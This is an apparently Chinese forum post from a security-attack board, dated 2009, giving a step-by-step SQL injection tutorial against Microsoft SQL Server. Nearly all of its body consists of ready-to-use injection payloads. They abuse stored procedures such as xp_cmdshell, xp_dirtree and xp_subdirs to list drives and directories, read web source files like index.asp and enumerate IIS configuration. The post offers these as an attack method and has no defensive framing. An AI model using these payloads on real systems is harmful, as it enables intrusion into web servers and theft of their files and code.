找回密码
 注册
搜索
热搜: 回贴
微赢网络技术论坛 门户 安全攻防 查看内容

如何利用Sql 注入遍历目录

2009-12-14 12:47| 发布者: admin| 查看: 15| 评论: 0|原作者: 心然

有时候手工注入时就用得到了

关于如何取得注入入口不再说了,前面的帖子都说得很详细了,我们就如何浏览全部目录和文件进行研究
当System_user为"sa"时,具有全部权限,包括执行master.dbo.xp_cmdshell,如果这个存储过程没有改名或删除,我们可以利用它来遍历全部目录,执行如下:
先创建一个临时表:temp
’5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下来:
(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
5’;insert temp exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
5’;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;--
(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
5’;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;--

这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
5’;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;--
浏览temp就可以看到index.asp文件的内容了!

当然,如果xp_cmshell能够执行,我们可以用它来完成:
5’;insert into temp(id) exec master.dbo.xp_cmdshell ’dir c:\’;--
5’;insert into temp(id) exec master.dbo.xp_cmdshell ’dir c:\ *.asp /s/a’;--

通过xp_cmdshell我们可以看到所有想看到的,包括W3svc

5’;insert into temp(id) exec master.dbo.xp_cmdshell ’cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc’

但是,如果不是Admin的权限,我们还可以使用
5’;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;--



最新评论

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-30 07:25 , Processed in 0.120787 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部